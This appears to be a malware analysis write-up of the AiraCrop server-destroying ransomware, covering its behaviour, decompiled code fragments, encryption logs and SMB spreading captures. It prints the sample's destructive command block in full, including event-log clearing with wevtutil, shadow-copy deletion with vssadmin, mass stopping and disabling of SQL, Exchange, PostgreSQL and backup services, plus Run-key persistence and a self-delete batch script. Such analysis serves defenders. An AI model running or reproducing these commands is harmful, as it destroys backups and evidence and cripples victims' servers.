RANSOMWARE DESIGNED FOR SERVER DESTRUCTION

- Designed to destroy and encrypt servers.
- On a workstation it encrypts ONLY
- Stop All the important services on a server machine (Shown below in red)
- Encrypts files
- Deletes shadow copies
- Tries to connect to other machines via ARP cache and UNC path

FUNCTION(BUFFER, u"UNC\%d.%d.%d.%d\%S", FUNC_2() & 0xff);

- Moves to other machines and do the same
- Stops the payload and delete itself by calling a **selfDestruct** function

```
wevtutil cl Application
wevtutil cl security
wevtutil cl setup
wevtutil cl system
vssadmin.exe Delete Shadows /All /Quiet
WMIC SERVICE WHERE 'caption LIKE '%Firebird%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%Firebird%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%MSSQL%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%MSSQL%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%SQL%'' CALL STOPSERVIC
WMIC SERVICE WHERE 'caption LIKE '%Exchange%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%wsbex%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%postgresql%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%BACKP%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%tomcat%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%SharePoint%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%SBS%'' CALL STOPSERVICE
WMIC SERVICE WHERE 'caption LIKE '%Firebird%'' CALL  ChangeStartMode 'Disabled'
WMIC SERVICE WHERE 'caption LIKE '%MSSQL%'' CALL  ChangeStartMode 'Disabled'
WMIC SERVICE WHERE 'caption LIKE '%SQL%'' CALL  ChangeStartMode 'Disabled'
WMIC SERVICE WHERE 'caption LIKE '%Exchange%'' CALL  ChangeStartMode 'Disabled'
WMIC SERVICE WHERE 'caption LIKE '%wsbex%'' CALL  ChangeStartMode 'Disabled'
WMIC SERVICE WHERE 'caption LIKE '%postgresql%'' CALL  ChangeStartMode 'Disabled'
WMIC SERVICE WHERE 'caption LIKE '%BACKP%'' CALL  ChangeStartMode 'Disabled'
WMIC SERVICE WHERE 'caption LIKE '%tomcat%'' CALL  ChangeStartMode 'Disabled'
WMIC SERVICE WHERE 'caption LIKE '%SharePoint%'CALL  ChangeStartMode 'Disabled'
WMIC SERVICE WHERE 'caption LIKE '%SBS%'' CALL  ChangeStartMode 'Disabled'
sc config FirebirdServerDefaultInstance start= disabled
sc config FirebirdServerDefaultInstance start= disabled
taskkill /IM fb_inet_server.exe /F
taskkill /IM fb_inet_server.exe /F
net stop FirebirdServerDefaultInstance
C:\Windows\system32\net1 stop FirebirdServerDefaultInstance
taskkill /IM sqlservr.exe /F
sc config MSSQLSERVER start= disabled
sc config MSSQL$SQLEXPRESS start= disabled
net stop MSSQLSERVER
C:\Windows\system32\net1 stop MSSQLSERVER
net stop MSSQL$SQLEXPRESS
net stop MSSQL$SQLEXPRESS
C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS
taskkill /IM pg_ctl.exe /F
sc config postgresql-9.0 start= disabled
net stop  postgresql-9.0
sc config MSExchangeAB start= disabled
sc config MSExchangeAntispamUpdate start= disabled
sc config MSExchangeEdgeSync start= disabled
sc config MSExchangeFDS start= disabled
sc config MSExchangeFBA start= disabled
sc config MSExchangeImap4 start= disabled
sc config MSExchangeImap4 start= disabled
sc config MSExchangeIS start= disabled
sc config MSExchangeMailSubmission start= disabled
sc config MSExchangeMailboxAssistants start= disabled
sc config MSExchangeMailboxReplication start= disabled
sc config MSExchangeMonitoring start= disabled
sc config MSExchangePop3 start= disabled
sc config MSExchangeProtectedServiceHost start= disabled
sc config MSExchangeRPC start= disabled
sc config MSExchangeSearch start= disable
sc config wsbexchange start= disabled
sc config MSExchangeSA start= disabled
sc config MSExchangeThrottling start= disabled
sc config MSExchangeTransportLogSearch start= disabled
net stop MSExchangeAB
net stop MSExchangeAntispamUpdate
net stop MSExchangeEdgeSync
net stop MSExchangeImap4
net stop MSExchangeMailboxReplication
net stop MSExchangeProtectedServiceHost
```

```
OpenSCManager
OpenService
QueryServiceStatusEx
CloseServiceHandle

GetUserNameW
GetComputerNameW
OpenSCManagerW
CreateServiceW
CloseServiceHandle


var_U = _wfopen();
FUNC_SELF_DESTRUCT(var_U, u"@echo off\r\n goto Delete\r\n :WaitAndDelete \r\n @timeout 5\r\n :Delete\r\n @del \"%S\" \r\n if exist \"%S\" goto
                                                                                                    WaitAndDelete \r\n @del %%0\r\n", );
fclose(var_U);

        if ((ShellExecuteW(...)!= 0x0) {
                ebx = 0x1;
        }
        else {
                ebx = 0x0;
        }

RegOpenKeyExW(0x80000002, u"Software\Microsoft\Windows\CurrentVersion\Run", 0x0, 0xf003f, &var_R);
```

```
var_C = CreateFileW(&var_F, 0x40000000, 0x0, 0x0, 0x2, 0x80, 0x0);
                WriteFile(var_F, *(var_FC + 0x1e4), *(var_FC + 0x1e8), &var_17, 0x0);
                CloseHandle(var_F);
```

EncryptAllFIles

```
[03-28-2018-18-19-031]-> F: \Users\foo\HELLO\SHEL.pdf.__AiraCropEncrypted! ** 174112
[03-28-2018-18-19-031]-> F: \Users\foo\HELLO\traps8.png.udLocked.__AiraCropEncrypted! ** 402064
[03-28-2018-18-19-031]-> F: \Users\foo\HELLO\traps8.png.__AiraCropEncrypted! ** 402064
[03-28-2018-18-19-031]-> F: \Users\foo\jjj\kjkjkj\How to decrypt your files.html ** 164256
[03-28-2018-18-19-031]-> F: \Users\foo\jjj\kjkjkj\lklk.txt.__AiraCropEncrypted! ** 1520
[03-28-2018-18-19-031]-> F: \Users\foo\jjj\kjkjkj\poikj.txt.__AiraCropEncrypted! ** 528
[03-28-2018-18-19-031]-> F: \Users\foo\jjj\kjkjkj\pokj.txt.__AiraCropEncrypted! ** 528
[03-28-2018-18-19-031]-> F: \Users\foo\Searches\Everywhere.search-ms.__AiraCropEncrypted! ** 768
[03-28-2018-18-19-031]-> F: \Users\foo\Searches\How to decrypt your files.html ** 164256
[03-28-2018-18-19-031]-> F: \Users\foo\Searches\Indexed Locations.search-ms.__AiraCropEncrypted! ** 768
[03-28-2018-18-19-031]-> F: \Users\foo\WANNA_CRY\How to decrypt your files.html ** 164256
[03-28-2018-18-19-031]-> F: \Users\foo\WANNA_CRY\stage1.hta.__AiraCropEncrypted! ** 12688
[03-28-2018-18-19-031]-> F: \Users\foo\XLS\828DPA00.__AiraCropEncrypted! ** 15312
[03-28-2018-18-19-031]-> F: \Users\foo\XLS\AEmpire.xlsm.__AiraCropEncrypted! ** 15232
[03-28-2018-18-19-031]-> F: \Users\foo\XLS\Book1.xlsm.__AiraCropEncrypted! ** 12784
[03-28-2018-18-19-031]-> F: \Users\foo\XLS\How to decrypt your files.html ** 164256
[03-28-2018-18-19-031]-> F: \Users\foo\XLS\s.doc.__AiraCropEncrypted! ** 1372480
```

SELF_DESTRUCT

```
FUCN_1(var_1C, u"%d.%d.%d.%d", FUNC_X() & 0xff);
FUNC_2(&var_594, u"UNC\%d.%d.%d.%d\%S", FUNC_X() & 0xff);

*(int8_t *)ecx & 0xff;   // guaranteed to an 8-bit twos-complement signed integer
```

```
========================== (UDURRANI) ================================
(INIT) SYN PACKET SENT FROM 172.16.177.245      TO IP ADDRESS 172.16.177.1
        PORT INFORMATION (49480, 445)
        SEQUENCE INFORMATION (2588761639, 0)
        |URG:0 | ACK:0 | PSH:0 | RST:0 | SYN:1 | FIN:0|
        (66)


========================== (UDURRANI) ================================
(TERM) RST PACKET SENT FROM 172.16.177.1        TO IP ADDRESS 172.16.177.245
        PORT INFORMATION (445, 49480)
        SEQUENCE INFORMATION (0, 2588761640)

        |URG:0 | ACK:1 | PSH:0 | RST:1 | SYN:0 | FIN:0|
        (60)
    00 00 00 00 00 00                                       ......


========================== (UDURRANI) ================================
(INIT) SYN PACKET SENT FROM 172.16.177.245      TO IP ADDRESS 172.16.177.2
        PORT INFORMATION (49481, 445)
        SEQUENCE INFORMATION (4222304996, 0)
        |URG:0 | ACK:0 | PSH:0 | RST:0 | SYN:1 | FIN:0|
        (66)


========================== (UDURRANI) ================================
(TERM) RST PACKET SENT FROM 172.16.177.2        TO IP ADDRESS 172.16.177.245
        PORT INFORMATION (445, 49481)
        SEQUENCE INFORMATION (0, 4222304997)

        |URG:0 | ACK:1 | PSH:0 | RST:1 | SYN:0 | FIN:0|
        (60)
```

```
========================== (UDURRANI) ================================
(DATA PUSH!) IS COMING FROM 172.16.177.245      TO IP ADDRESS 172.16.177.248
        PORT INFORMATION (49731, 445)
        SEQUENCE INFORMATION (952823256, 27595826)

        |URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0|
        (213)
00 00 00 9B FF 53 4D 42 72 00 00 00 00 18 53 C8         .....SMBr.....S.
00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FE         ................
00 00 00 00 00 00 78 00 02 50 43 20 4E 45 54 57 4F      .....x..PC NETWO
52 4B 20 50 52 4F 47 52 41 4D 20 31 2E 30 00 02         RK PROGRAM 1.0..
4C 41 4E 4D 41 4E 31 2E 30 00 02 57 69 6E 64 6F         LANMAN1.0..Windo
77 73 20 66 6F 72 20 57 6F 72 6B 67 72 6F 75 70         ws for Workgroup
73 20 33 2E 31 61 00 02 4C 4D 31 2E 32 58 30 30         s 3.1a..LM1.2X00
32 00 02 4C 41 4E 4D 41 4E 32 2E 31 00 02 4E 54         2..LANMAN2.1..NT
20 4C 4D 20 30 2E 31 32 00 02 53 4D 42 20 32 2E          LM 0.12..SMB 2.
30 30 32 00 02 53 4D 42 20 32 2E 3F 3F 3F 00            002..SMB 2.???.


========================== (UDURRANI) ================================
(DATA PUSH!) IS COMING FROM 172.16.177.248      TO IP ADDRESS 172.16.177.245
        PORT INFORMATION (445, 49731)
        SEQUENCE INFORMATION (27595826, 952823415)

        |URG:0 | ACK:1 | PSH:1 | RST:0 | SYN:0 | FIN:0|
        (228)
00 00 00 AA FE 53 4D 42 40 00 00 00 00 00 00 00         .....SMB@.......
00 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00         ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00         ................
00 00 00 00 41 00 01 00 FF 02 00 00 6C 1B 33 A2         ....A.......l.3.
CB 63 A5 4E B5 69 61 9E 3E 4C C2 2A 07 00 00 00         .c.N.ia.>L.*....
00 00 80 00 00 00 80 00 00 00 80 00 0B 3E 1B 11         ..?...?...?..>..
9F C6 D3 01 5C 71 82 60 3C C1 D3 01 80 00 2A 00         ....\q.`<...?.*.
00 00 00 00 60 28 06 06 2B 06 01 05 05 02 A0 1E         ....`(..+.......
```